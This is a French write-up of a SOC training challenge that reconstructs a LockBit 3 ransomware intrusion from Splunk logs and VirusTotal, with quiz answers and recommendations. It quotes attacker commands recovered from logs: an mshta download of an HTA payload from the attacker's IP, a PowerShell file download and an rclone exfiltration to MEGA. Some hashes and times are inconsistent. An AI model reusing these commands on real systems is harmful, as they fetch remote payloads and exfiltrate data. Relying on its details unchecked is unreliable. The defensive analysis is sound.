SOCBasics : attaque LockBit Ransomware — Corp Enterprise

Date de l’incident : 26 avril 2026 Vulnérabilité initiale : CVE-2023-22527 (Atlassian Confluence, SSTI) Ransomware final : LockBit 3 (LockBit Black) Résultat : ✅ chaîne d’attaque complète reconstituée, de l’accès initial au chiffrement

1. Résumé exécutif

Suite à une attaque ransomware détectée chez Corp Enterprise, une investigation DFIR a été menée via le SIEM Splunk et l’analyse de binaires sur VirusTotal. L’attaquant a exploité une vulnérabilité dans Atlassian Confluence pour obtenir un accès initial, puis a progressivement compromis l’environnement jusqu’au déploiement du ransomware LockBit 3.

Chronologie résumée

Heure Événement
20:40 Exploitation de Confluence (CVE-2023-22527) depuis l’IP 172.16.92.160
20:51 Déploiement du dropper VhdjSUH2l.hta via mshta.exe
20:52 Téléchargement et installation d’AnyDesk renommé en AD_SIEM.exe
21:14 Exfiltration de données via rclone vers MEGA
21:22 Déploiement du ransomware LB3.exe via PDQ Deploy
21:29 Chiffrement des fichiers avec l’extension .aykCzdDAx

2. Commandes Splunk et réponses détaillées

Q1 — Service exploité pour l’accès initial

Réponse : Confluence (Atlassian)

index=* 172.16.92.160 | table _time, source, dest_port, action, app

index=* source="/opt/splunk/logs/confluence.log" | table _time, _raw | sort _time | tail 25

Explication de la commande : la première commande recherche tous les événements contenant l’IP de l’attaquant (172.16.92.160) dans tous les index Splunk. table affiche les colonnes importantes : l’heure, la source, le port destination, l’action et l’application. La deuxième commande filtre spécifiquement les logs du fichier confluence.log pour voir le contenu brut des requêtes HTTP.

Résultat observé : tous les 45 événements provenaient du fichier /opt/splunk/logs/confluence.log. Les logs HTTP révélaient :

  • Des requêtes POST vers /template/aui/text-inline.vm
  • L’user-agent python-requests/2.32.3 (script automatisé)
  • Le port 8090 (port par défaut de Confluence)

L’endpoint /template/aui/text-inline.vm est exactement celui exploité par la vulnérabilité CVE-2023-22527 (SSTI — Server Side Template Injection). L’attaquant a utilisé un script Python automatisé pour exploiter cette faille et exécuter du code arbitraire sur le serveur.

Q2 — Nom du malware dropper déployé

Réponse : VhdjSUH2l.hta

index=* "mshta" "172.16.92.160" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche les événements contenant à la fois mshta (Microsoft HTML Application Host) et l’IP de l’attaquant. mshta.exe est un outil Windows légitime capable d’exécuter des fichiers .hta (HTML Application), très souvent abusé par les attaquants car il peut exécuter du code VBScript/JavaScript sans être bloqué par les politiques d’exécution PowerShell.

Résultat observé : l’événement Sysmon (EventCode=1 - ProcessCreate) a révélé la ligne de commande exacte :

mshta http://172.16.92.160:3030/VhdjSUH2l.hta

Tomcat9.exe (le processus Confluence) a lancé mshta.exe qui a téléchargé et exécuté le fichier .hta depuis le serveur C2 de l’attaquant sur le port 3030. Ce fichier HTA contenait ensuite un payload PowerShell encodé en Base64 qui établissait une connexion C2 sur le port 4343.

Q3 — Nom original de AD_SIEM.exe

Réponse : AnyDesk.exe

index=* "WRKS.corp.me" "AD_SIEM" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche tous les événements sur la machine WRKS.corp.me (le poste de travail compromis) qui mentionnent AD_SIEM. Cette recherche permet de retrouver les logs PowerShell ou Sysmon qui enregistrent les actions liées à ce fichier.

Résultat observé : les logs PowerShell (Windows PowerShell Event Log) ont révélé la commande exacte exécutée :

powershell -c (New-Object Net.WebClient).DownloadFile('http://download.anydesk.com/AnyDesk.exe', 'AD_SIEM.exe')

L’attaquant a téléchargé AnyDesk (logiciel d’accès à distance légitime) depuis le site officiel et l’a renommé en AD_SIEM.exe pour le camoufler comme un outil de monitoring du SIEM.

💡 Cette technique s’appelle « Living off the Land » — utiliser des outils légitimes pour éviter la détection. AnyDesk permettait à l’attaquant d’avoir un accès persistant et discret à la machine.

Q4 — Chemin du dossier exfiltré avec rclone

Réponse : c:\Secret_Projects

index=* "rclone.exe" | table _time, _raw | sort _time | head 20

Explication de la commande : on recherche tous les événements mentionnant rclone.exe. Rclone est un outil légitime de synchronisation de fichiers vers des services cloud (MEGA, Google Drive, etc.), fréquemment utilisé par les attaquants pour l’exfiltration de données car il chiffre le transfert et ressemble à du trafic légitime.

Résultat observé : l’événement Sysmon ProcessCreate a capturé la ligne de commande complète :

"C:\temp\rclone.exe" --config=rclone.conf copy c:\Secret_Projects mega:FTP3

L’attaquant a copié le dossier c:\Secret_Projects vers un bucket MEGA nommé FTP3, en utilisant un fichier de configuration rclone.conf (qui contenait les credentials MEGA). Le transfert a eu lieu à 21:15 sous le compte CORP\admin, après avoir utilisé PDQ Deploy pour se propager sur le réseau.

Q5 — Nom du binaire LockBit sur le poste infecté

Réponse : LB3.exe

index=* "C:\\temp" earliest="04/25/2026:21:00:00" | table _time, _raw | sort _time | head 30

Explication de la commande : on recherche tous les événements mentionnant le dossier C:\temp après 21h00 (heure à laquelle l’attaquant a commencé à déployer ses outils). Ce dossier était utilisé comme staging area par l’attaquant pour stocker tous ses outils malveillants.

Résultat observé : les logs Sysmon ont montré la création et l’exécution de LB3.exe :

c:\temp\LB3.exe

LB3.exe a été déployé via PDQ Deploy (outil de déploiement logiciel légitime) à 21:29 par CORP\administrator. Après son exécution, le ransomware a tenté de s’authentifier sur d’autres machines du réseau (EventCode 4625 — échecs de connexion), chiffré les fichiers avec l’extension .aykCzdDAx et laissé des notes de rançon aykCzdDAx.README.txt.

3. Analyse VirusTotal

Q6 — Vhash de AD_SIEM.exe

Réponse : 0760666c055d75651"z

Méthode utilisée : upload de AD_SIEM.exe sur virustotal.com, puis consultation de l’onglet Details. Le Vhash est un hash de similarité visuelle basé sur la structure du PE (Portable Executable) qui permet de regrouper des fichiers similaires même s’ils ont des hashs cryptographiques différents.

Informations clés trouvées :

Champ Valeur
MD5 438f9654d33b192c87a06da3dafe8510
SHA-256 cd5c55c2cf996f0be1e2ea1a3f9028e163bbfa405e7f8724917c806a58ce5578
Signé par AnyDesk Software GmbH (signature valide)
Version 9.5.5
Taille 7.50 MB

Q7 — AD_SIEM.exe est-il malveillant ?

Réponse : A. Non

Explication : AD_SIEM.exe n’est pas détecté comme malveillant par aucun des 70+ moteurs antivirus de VirusTotal (0/94 détections). C’est un binaire AnyDesk légitime, signé numériquement par AnyDesk Software GmbH avec un certificat valide DigiCert. Sa malveillance réside uniquement dans son usage par l’attaquant (renommage et déploiement non autorisé), et non dans le binaire lui-même.

💡 Cette technique s’appelle « Bring Your Own Tool » (BYOT).

Q8 — Vhash de LB3.exe

Réponse : 01506666151d7d7567z61z7nzbfz

Méthode utilisée : recherche du hash MD5 40D3C027A477D1F08ABE80770504EF2D (trouvé dans Splunk) sur virustotal.com, puis consultation de l’onglet Details.

Informations clés trouvées :

Champ Valeur
MD5 f144bf50a707dcc4b749753e2566e943
SHA-256 df555043e2137723c9e595101d6adbd5d0e9907c0e66916123a2d6b1bb87d56d
Taille 152.50 KB (fichier compact, caractéristique de LockBit)
Compilation 2022-09-09 (version LockBit 3 / LockBit Black)
Détections 60+ moteurs antivirus le détectent comme ransomware

Q9 — Label officiel Microsoft sur VirusTotal

Réponse : Ransom:Win32/Lockbit.AK!ibt

Explication : le format du label Microsoft est <Catégorie>:<Plateforme>/<Famille>.<Variante>!<Suffixe> :

Segment Valeur Signification
Catégorie Ransom Ransomware
Plateforme Win32 Windows 32-bit
Famille Lockbit Famille de malware
Variante AK Variante spécifique
Suffixe !ibt Niveau de confiance de détection

Ce label confirme qu’il s’agit d’une variante personnalisée de LockBit 3 (aussi appelé LockBit Black), une des familles de ransomware les plus actives depuis 2022.

Q10 — Domaine lié au malware

Réponse : A. peaceprotectorsupp.ma

Explication : dans l’onglet Behavior de VirusTotal, section Memory Pattern Domains, les domaines suivants ont été trouvés dans la mémoire du malware lors de l’analyse en sandbox :

PeaceProtectorapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
PeaceProtectorapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly

Ces domaines .onion.ly sont des proxies vers des sites .onion (réseau Tor) utilisés par LockBit pour son portail de paiement de rançon et son site de fuite de données. Le préfixe PeaceProtector correspond au domaine peaceprotectorsupp.ma listé dans les choix.

Q11 — Technique MITRE ATT&CK mappée

Réponse : D. T1497 — Virtualization/Sandbox Evasion

Explication : dans l’onglet Behavior de VirusTotal, le tableau MITRE ATT&CK montre que T1497 apparaît dans deux catégories tactiques :

  • Defense Evasion (TA0005) — 2 occurrences
  • Discovery (TA0007) — 2 occurrences

Le tag comportemental detect-debug-environment confirme également cette technique. LockBit vérifie s’il s’exécute dans un environnement virtualisé ou sandbox avant de procéder au chiffrement, afin d’éviter l’analyse par les chercheurs en sécurité.

ℹ️ Autres techniques présentes mais non retenues :

  • T1114 (Email Collection) — présent mais secondaire
  • T1055 (Process Injection) — présent (LB3.exe s’injecte dans d’autres processus)
  • T1566 (Phishing) — absent des comportements observés

4. Tableau récapitulatif des réponses

Question Réponse Source
Q1 — Service exploité Confluence (Atlassian) confluence.log / Splunk
Q2 — Dropper déployé VhdjSUH2l.hta Sysmon EventCode=1 / Splunk
Q3 — Nom original AD_SIEM.exe AnyDesk.exe PowerShell logs / Splunk
Q4 — Dossier exfiltré (rclone) c:\Secret_Projects Sysmon EventCode=1 / Splunk
Q5 — Binaire LockBit LB3.exe Sysmon EventCode=11 / Splunk
Q6 — Vhash AD_SIEM.exe 0760666c055d75651"z VirusTotal — Details
Q7 — AD_SIEM.exe malveillant ? A. Non (0/94 détections) VirusTotal — Detection
Q8 — Vhash LB3.exe 01506666151d7d7567z61z7nzbfz VirusTotal — Details
Q9 — Label Microsoft LB3.exe Ransom:Win32/Lockbit.AK!ibt VirusTotal — Detection
Q10 — Domaine lié au malware A. peaceprotectorsupp.ma VirusTotal — Behavior
Q11 — Technique MITRE D. T1497 (Sandbox Evasion) VirusTotal — Behavior

5. Chaîne d’attaque complète (Kill Chain)

Étape Heure Action Outil/Technique
1. Initial Access 20:40 Exploitation CVE-2023-22527 sur Confluence python-requests / SSTI
2. Execution 20:40–20:43 Exécution de whoami, tasklist via Tomcat Tomcat9.exe → cmd.exe
3. Delivery 20:51 Téléchargement dropper HTA mshta.exe → VhdjSUH2l.hta
4. C2 20:51 Connexion C2 via PowerShell encodé powershell.exe → 172.16.92.160:4343
5. Persistence 20:52 Installation AnyDesk camouflé AD_SIEM.exe (AnyDesk)
6. Lateral Movement 21:00–21:10 Scan réseau, reconnaissance netscan.exe, whoami /all
7. Exfiltration 21:15 Vol de données vers MEGA rclone.exe → mega:FTP3
8. Deployment 21:17 Installation PDQ Deploy pdq.exe → PDQDeploy
9. Ransomware 21:22–21:29 Déploiement et exécution LockBit LB3.exe → .aykCzdDAx

6. Conclusion et recommandations

L’attaque a suivi une méthodologie classique de ransomware-as-a-service (RaaS) avec une sophistication élevée :

  • Exploitation d’une CVE récente (Confluence SSTI)
  • Utilisation d’outils légitimes pour éviter la détection (AnyDesk, rclone, PDQ Deploy)
  • Mouvement latéral via des outils d’administration (PDQ Deploy)
  • Exfiltration avant chiffrement (double extorsion)

Recommandations immédiates

  • Mettre à jour Confluence vers la dernière version corrigeant CVE-2023-22527.
  • Bloquer les connexions sortantes vers MEGA et autres services cloud non autorisés.
  • Implémenter un contrôle strict sur l’installation de logiciels d’accès à distance.
  • Activer la journalisation PowerShell Script Block Logging sur tous les endpoints.
  • Segmenter le réseau pour limiter le mouvement latéral.
  • Mettre en place des sauvegardes hors ligne testées régulièrement.

Leçons retenues

  • Une vulnérabilité SSTI (Server-Side Template Injection) dans une application exposée comme Confluence peut servir de point d’entrée complet vers un chiffrement ransomware en moins de 50 minutes — la rapidité de la chaîne complète souligne l’importance du patch management sur les applications critiques.
  • Le renommage d’un outil légitime et signé (AnyDesk → AD_SIEM.exe) illustre bien pourquoi la détection par hash ou signature seule est insuffisante : le binaire reste 100% légitime (0/94 sur VirusTotal), seul le contexte d’usage (renommage, déploiement non autorisé) révèle la malveillance.
  • La double extorsion (exfiltration via rclone avant le chiffrement) est devenue un standard chez les groupes RaaS modernes comme LockBit — les recommandations de remédiation doivent couvrir à la fois la prévention du chiffrement et le blocage des canaux d’exfiltration (ici MEGA).
  • Le Vhash (hash de similarité structurelle) est complémentaire du hash cryptographique classique (MD5/SHA-256) : il permet de relier des échantillons de malware même quand chaque copie a un hash différent, ce qui est utile face à des familles de ransomware qui varient légèrement leur binaire à chaque déploiement.

Références

  • CVE-2023-22527 — Atlassian Confluence, Server-Side Template Injection (SSTI)
  • Technique MITRE ATT&CK T1497 — Virtualization/Sandbox Evasion
  • Technique MITRE ATT&CK T1055 — Process Injection
  • Famille de ransomware LockBit 3.0 / LockBit Black